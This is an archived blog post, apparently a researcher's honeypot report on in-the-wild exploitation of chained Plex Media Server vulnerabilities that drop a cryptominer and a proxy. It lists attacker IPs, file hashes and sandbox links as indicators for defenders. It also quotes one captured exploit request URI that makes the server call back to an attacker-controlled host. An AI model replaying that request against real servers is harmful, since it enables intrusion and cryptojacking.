![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3tUKB_Vp0xqfjedxvomT5LC4IfbyHTmtcE5mc_57DEPoEXL9DSq7f2T4HMJ26wf-VkPNPyBKzIm5jMIXoWzT4Rcchapu9cpzeT14d1MYmHhhyphenhyphenlfY0ASPbRYzyumorq6xHJ-0WMIarOSDjhpa_W0XI6o8WuIp_T1wzQgKzIGfFdiwMdf5FAiffEzavMK4/s1600/image.png\")
Intro:
\n(No AI was involved in writing, research, etc...)
\nIf you see weird fonts and spacing, blame Blogger.
\nSkip to "In the wild exploitation" if you just care about that part.
\nIt's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about.
\nI wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)
\nBack on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
\nAs an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.
\nThe details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything.
\nFinally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time.
\nLink was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool.
\nCVE's:
\nCVE-2026-96652
\nCVE-2026-96654
\nCVE-2026-96655
\nCVE-2026-96656
\nHere's their code: https://github.com/code-zm/plex2shell/
\nI did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap
\nPlex2Shell In the wild exploitation:
\nMy honeypot mostly saw scanning and generic exploitation attempts.
\nAs of this morning (Oct 17th), I finally saw in the wild exploitation.
\nSo by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.
\nHere's what I observed:
\nFirst exploitation attempt came from 45.194.92.222. From zeek logs:
\n "uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
\n "user_agent": "Python-urllib/3.10",
The following two IP's were seen doing exploitation as well:
\n91.92.40.202
\n176.65.139.228
\n
I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222.
\nThis time I did see in the logs that there was a file download happening from 217.60.194.116.
\n![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzHvuYni_SZCvL4xCpVEpS4vLGyCH8kZMvSmJutKR0pDkCNfeBaGeo7Uo3B2YP1oS-dGAkkm_lhGwXtlhdOxRcgQUfTAsu9Xny5jCo-KYF_WB7-Wm3eaJJrci5f1FXOxpFh_W6lR-Q29GiNFrMlleBHfStYVyEAHfsWo_YUiPfd0Z_XoYubrc8CfJr4H0/s1600/image.png\")
The following was contained inside of the docker file:
\n![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyrnJvTCZCWSklsQqy6lG-a3U3IsRSg4un0fiarQEAm5GAWPdyHXMdtnJpc9PgPHcrWmqgS7M6lpVfNEobTuHsUpNl7kt_3Gb8qnEQjwovLYGaNj6PmikS1eEwsKnibGTTvJ_L4jRIGTeQY2SuKLpiaWm4dv4qY-p9aIMU9pPr0y2cA4mKy09EUzrKt0I/s1600/image.png\")
Of course it's a cryptominer.
\n![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_koAlaOUOPTiL2_d3SYCGPSuhdx0KexN7y6WQv7vX7W0lTfu45a89BRW-zPJrHgX6vxB7tWrApWpQNqrCP5ylpajIfV4fr-of8cIG2RsO3jQW4mpdlr2KBD7CgFL0EvCbqWD4rJBKpRdiD7FA2KR7jFsUktoIMTIlogsBmfOqiBIXPpKxtos_7SdEtqs/s1600/image.png\")
IOCs:
\nFor detection of the attack, look at my github pcap link and source code from the main author.
\nThis is just for what was seen on the honeypot.
\nIP's responsible for exploitation as of writing this:
\n91.92.40.202
\n176.65.139.228
\n45.194.92.222
\n176.65.139.228
\nMalicious file download source:
\n217.60.194.116 (docker & x)
\nFile hashes:
\n5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 docker
\n68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 x (upx packed)
\nb20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 x (upx unpacked)
\nEDIT: Oct 17th, 2nd update:
\nSeeing more activity and I dropped artifacts on Github.
\n![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPWFMCzuUo6f-qOeGZAz3EwcB25iG_a4hO3zpyinVQSAdYJW3tmmx17kVEJbJAM3Ry39GvXQzxWwfWZlzSVbz4qZLmiBDKxfpcVNeopWenQPBWXhFj_o46t-VDDjXhuW7MBW-0LplFRCQHtPvBfMrE2EOpg2BzlydLTfOBhyCPcsHSeMA7H4tS_vLcCJk/s1600/image.png\")
![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPGtnrppevQB91V6n_YOliey5SbDWB8aGVGjqN7NLvWGPvSnUCStMbBADzBQGE4sX6MN0ZP7VFbjaEiGN-_PHuXPxmTnYhwCqirNEYAHmD3LhE69lNiRBuwFICzyP3ieftctzcuq3XAYbgLEoFdc4qswxZuHCGESx3SyVeU_6kq6Hu7q-TJP7O-45uv6I/s1600/image.png\")
Saw "myawesomeproxy" running as well (I don't have time to analyze it but its on github now)
\n![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4zwJlrUbmapQap814Qnnokq9mGdPXiAWtmTK853LTk5XID8Qxzmt7Z65Llt94_u4lmEmowuHOLVVISS4H9ieVrcfGZSBo8jgGk0vfe7wmm1wfPyTJODb1g3KSeQgj2k9NQY0SCHAgbvoc68BP_xaYBj_URmSsJaAMdtGn52wmL2CVV_AHdd1CxzMOiO0/s1600/image.png\")
Hashes:
\ne546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 myawesomeproxy
\n2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db xmrig
\nHere's what it prints when running:
\n"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"
\n![\"\"](\"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQFXi-ZKhOqWJkzLERHMwdLaFvZXqmG9AXBJd0lxrksHTiTkJfAaC2PZnTyXxL3x28npThutsotxqVqdCdBa9w9muuJS4VhuFHTEOzBP1PBMHiZJ03wAukid8bbde4qEzYU1_WAPjH0EcW2yDvExfcR3a7Qht8hxxpSF4GeqwmsZhGK3r7zdzjBJhz7fE/s1600/image.png\")
My sandbox reports for myawesomeproxy:
\nhttps://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f
\nhttps://tria.ge/261017-3ytcaady7p
\nhttps://tria.ge/261018-ab8jgady9p
\nI see some traffic related to proxystream.st and found this: https://www.bitsight.com/blog/who-invited-aisuru-lan-party
\nsimilar sample found through googling: https://www.joesandbox.com/analysis/1934662/0/html
\n\nEDIT: Oct 18th, 2nd update
\nAfter not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/
\nThe person who discovered the vuln did publish detections here: https://github.com/code-zm/plex2shell/tree/main/detection
\n", "content_markdown": "**Intro:**\n\n(No AI was involved in writing, research, etc...)\n\nIf you see weird fonts and spacing, blame Blogger.\n\nSkip to \"In the wild exploitation\" if you just care about that part.\n\nIt's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about.\n\nI wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)\n\nBack on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: [https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319](https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319)\n\nAs an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.\n\nThe details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything.\n\nFinally, on Sep 26th, I saw some CVE's get published here: [https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html](https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html) but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time.\n\nLink was to [https://zmain.info/blog/plex2shell](https://zmain.info/blog/plex2shell) and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool.\n\nCVE's:\n\nCVE-2026-96652\n\nCVE-2026-96654\n\nCVE-2026-96655\n\nCVE-2026-96656\n\nHere's their code: [https://github.com/code-zm/plex2shell/](https://github.com/code-zm/plex2shell/)\n\nI did do testing in the lab. Here are pcaps for detection/signature work: [https://github.com/BoredHackerBlog/plex2shell_pcap](https://github.com/BoredHackerBlog/plex2shell_pcap)\n\n**Plex2Shell In the wild exploitation:**\n\nMy honeypot mostly saw scanning and generic exploitation attempts.\n\nAs of this morning (Oct 17th), I finally saw in the wild exploitation.\n\nSo by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.\n\nHere's what I observed:\n\nFirst exploitation attempt came from 45.194.92.222. From zeek logs:\n\n \"uri\": \"/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471\",\\\n \"user\\_agent\": \"Python-urllib/3.10\",\n\nThe following two IP's were seen doing exploitation as well:\n\n91.92.40.202\n\n176.65.139.228\n\n\n\nI went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222.\n\nThis time I did see in the logs that there was a file download happening from 217.60.194.116.\n\n\n\n The following was contained inside of the docker file:\n\n\n\nOf course it's a cryptominer.\n\n\n\nIOCs:\n\nFor detection of the attack, look at my github pcap link and source code from the main author.\n\nThis is just for what was seen on the honeypot.\n\nIP's responsible for exploitation as of writing this:\n\n91.92.40.202\n\n176.65.139.228\n\n45.194.92.222\n\n176.65.139.228\n\nMalicious file download source:\n\n217.60.194.116 (docker & x)\n\nFile hashes:\n\n5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 docker\n\n68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 x (upx packed)\n\nb20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 x (upx unpacked)\n\nEDIT: Oct 17th, 2nd update:\n\nSeeing more activity and I dropped artifacts on Github.\n\n\n\n\n\nSaw \"myawesomeproxy\" running as well (I don't have time to analyze it but its on github now)\n\n\n\nHashes:\n\ne546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 myawesomeproxy\n\n2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db xmrig\n\nHere's what it prints when running:\n\n\"Running this software on any of your devices makes you agree to the potential external use of your internet traffic\"\n\n\n\nMy sandbox reports for myawesomeproxy:\n\n[https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f](https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f)\n\n[https://tria.ge/261017-3ytcaady7p](https://tria.ge/261017-3ytcaady7p)\n\n[https://tria.ge/261018-ab8jgady9p](https://tria.ge/261018-ab8jgady9p)\n\nI see some traffic related to proxystream.st and found this: [https://www.bitsight.com/blog/who-invited-aisuru-lan-party](https://www.bitsight.com/blog/who-invited-aisuru-lan-party)\n\nsimilar sample found through googling: [https://www.joesandbox.com/analysis/1934662/0/html](https://www.joesandbox.com/analysis/1934662/0/html)\n\n[https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection](https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection)\n\nEDIT: Oct 18th, 2nd update\n\nAfter not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: [https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/](https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/)\n\nThe person who discovered the vuln did publish detections here: [https://github.com/code-zm/plex2shell/tree/main/detection](https://github.com/code-zm/plex2shell/tree/main/detection)\n", "dateCreated": "2026-10-19T23:02:59.728557376+00:00", "date_created": "2026-10-19T13:36:43+00:00", "date_modified": "2026-10-19T13:36:43+00:00", "date_published": "2026-10-19T13:36:43+00:00", "description": "Intro: (No AI was involved in writing, research, etc...) If you see weird fonts and spacing, blame Blogger. Skip to \"In the wild exploitation\" if you just care about that part. It's just a cryptominer. On one hand that's not a big deal for…", "external_url": "http://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html", "git": { "commit": "ebb0941c5c06a2ab2377342d607535262a3e969e", "path": "items/hnrss-org/2026/10/2026-10-19-plex-vulnerabilities-being-exploited-in-the-wild-to-drop-a.md", "permalink": "https://github.com/aymericbeaumet/aggr-instance/blob/ebb0941c5c06a2ab2377342d607535262a3e969e/items/hnrss-org/2026/10/2026-10-19-plex-vulnerabilities-being-exploited-in-the-wild-to-drop-a.md" }, "id": "urn:aggr:item:a55536d9f56d08394bc0fafdceacbe5beaff4787", "isBasedOn": { "@id": "http://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html" }, "mainEntity": { "@id": "http://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html", "@type": "CreativeWork", "archivedAt": { "@id": "https://aggr.aymericbeaumet.com/items/hnrss-org/2026-10-19-plex-vulnerabilities-being-exploited-in-the-wild-to-drop-a/#webpage" }, "author": [ { "@type": "Person", "name": "mindracer" } ], "dateModified": "2026-10-19T13:36:43+00:00", "datePublished": "2026-10-19T13:36:43+00:00", "headline": "Plex vulnerabilities being exploited in the wild to drop a cryptominer", "image": { "@type": "ImageObject", "caption": null, "height": 90, "url": "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3tUKB_Vp0xqfjedxvomT5LC4IfbyHTmtcE5mc_57DEPoEXL9DSq7f2T4HMJ26wf-VkPNPyBKzIm5jMIXoWzT4Rcchapu9cpzeT14d1MYmHhhyphenhyphenlfY0ASPbRYzyumorq6xHJ-0WMIarOSDjhpa_W0XI6o8WuIp_T1wzQgKzIGfFdiwMdf5FAiffEzavMK4/w1200-h630-p-k-no-nu/image.png", "width": 160 }, "timeRequired": "PT4M", "url": "http://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html", "wordCount": 795 }, "name": "Archived snapshot: Plex vulnerabilities being exploited in the wild to drop a cryptominer", "preview": { "alt": null, "color": null, "height": 90, "placeholder": { "data_url": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=", "hash": "" }, "url": "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3tUKB_Vp0xqfjedxvomT5LC4IfbyHTmtcE5mc_57DEPoEXL9DSq7f2T4HMJ26wf-VkPNPyBKzIm5jMIXoWzT4Rcchapu9cpzeT14d1MYmHhhyphenhyphenlfY0ASPbRYzyumorq6xHJ-0WMIarOSDjhpa_W0XI6o8WuIp_T1wzQgKzIGfFdiwMdf5FAiffEzavMK4/w1200-h630-p-k-no-nu/image.png", "width": 160 }, "reading_minutes": 4, "replicated_at": null, "source": "hnrss-org", "source_name": "Hacker News: Front Page", "summary": null, "tags": [], "temporalCoverage": "2026-10-19T23:02:59.728557376+00:00", "title": "Plex vulnerabilities being exploited in the wild to drop a cryptominer", "url": "https://aggr.aymericbeaumet.com/items/hnrss-org/2026-10-19-plex-vulnerabilities-being-exploited-in-the-wild-to-drop-a/", "word_count": 795 }